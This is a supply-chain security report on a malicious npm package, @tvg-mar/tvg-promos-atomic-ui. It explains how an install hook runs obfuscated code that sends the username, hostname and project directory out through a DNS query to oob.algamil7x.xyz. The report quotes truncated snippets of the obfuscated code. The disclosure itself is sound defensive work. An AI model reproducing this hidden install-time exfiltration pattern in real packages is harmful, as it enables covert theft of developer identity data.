registry / Data exfiltration / @tvg-mar/tvg-promos-atomic-ui
@tvg-mar/tvg-promos-atomic-ui
Atomic UI components for promo surfaces
This report shows the evidence for @tvg-mar/tvg-promos-atomic-ui@9.9.10. 1 of 3 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiInstall and import both execute an obfuscated DNS lookup that embeds local username, hostname, and project directory into a query for oob.algamil7x.xyz. That is concrete environment exfiltration, not a registry health check.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs node index.js, and any require of the package main also calls the runtime bootstrap.
Impact
A remote operator learns who installed or imported the package, on which machine, and in which project directory, without any user-facing prompt.
Mechanism
The bootstrap starts telemetry, which loads impl.js. That file reads os.userInfo().username, os.hostname, and the last segment of process.cwd, then calls dns.resolve4 on a hostname built from those values, a timestamp, and oob.algamil7x.xyz.
Attack narrative
On npm install, package.json runs node index.js. That file immediately calls the runtime bootstrap, which starts a telemetry probe. Loading the probe pulls in impl.js, whose startup function reads the OS username, hostname, and current directory name through obfuscated os and process access. It joins those values with a timestamp and the hidden host oob.algamil7x.xyz, then issues dns.resolve4. The query itself delivers the host identity to that domain. The same path runs on ordinary import, and failures are caught so the UI export still succeeds.
AI rationale
Install and import both execute an obfuscated DNS lookup that embeds local username, hostname, and project directory into a query for oob.algamil7x.xyz. That is concrete environment exfiltration, not a registry health check.
Evidence
package.jsonindex.jsruntime/index.jsruntime/support/telemetry/index.jsruntime/support/telemetry/probe/index.jsruntime/support/telemetry/probe/impl.jsruntime/support/telemetry/probe/b2e6f8.jsruntime/support/telemetry/probe/c3f7a9.js
Network endpoints1
oob.algamil7x.xyz
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The install lifecycle script runs node index.js.
- index.js calls the runtime bootstrap whenever the package loads.
- Runtime bootstrap always starts the telemetry probe, and the probe module loads impl.js immediately.
- impl.js reads the username, hostname, and current directory name, then calls dns.resolve4 with those values.
- Obfuscated helpers dynamically load the os, dns, and process modules and hide the label tvgui plus host oob.algamil7x.xyz.
Evidence against
- src/index.js only exports UI template, atom, theme, and registry helpers and does not touch the network.
- The probe comments describe a registry connectivity check, but the encoded lookup is not limited to a package registry.
Behavioral surface
PossibleObfuscation
Source & flagged code
10 flagged · loading sourcepackage.jsonView file
•scripts.install = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg8"install": "node index.js"
High
Suspicious Lifecycle Evidence
The install lifecycle script runs node index.js.
package.jsonView on unpkg · L8runtime/support/telemetry/probe/impl.jsView file
•Obfuscated runtime modules collect host identity for a fixed external DNS query.
[redacted].js:
const diag=require('./b2e6f8.js');const cfg=require('./c3f7a9.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c...
[redacted].js:
[redacted].js
Dynamic DNS/OS/process loader in [redacted].js:
const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...
Findings
1 Critical9 High1 Low
CriticalDns Exfiltrationruntime/support/telemetry/probe/impl.js
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceruntime/index.js
HighAi Review Evidenceruntime/support/telemetry/index.js
HighAi Review Evidenceruntime/support/telemetry/probe/index.js
HighAi Review Evidenceruntime/support/telemetry/probe/impl.js
HighAi Review Evidenceruntime/support/telemetry/probe/b2e6f8.js
HighAi Review Evidenceruntime/support/telemetry/probe/c3f7a9.js
LowScripts Present
Affected versions and remediation
This report applies to @tvg-mar/tvg-promos-atomic-ui@9.9.10.
The versions list below shows the verdict for each recorded version.
- Avoid installing @tvg-mar/tvg-promos-atomic-ui@9.9.10. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.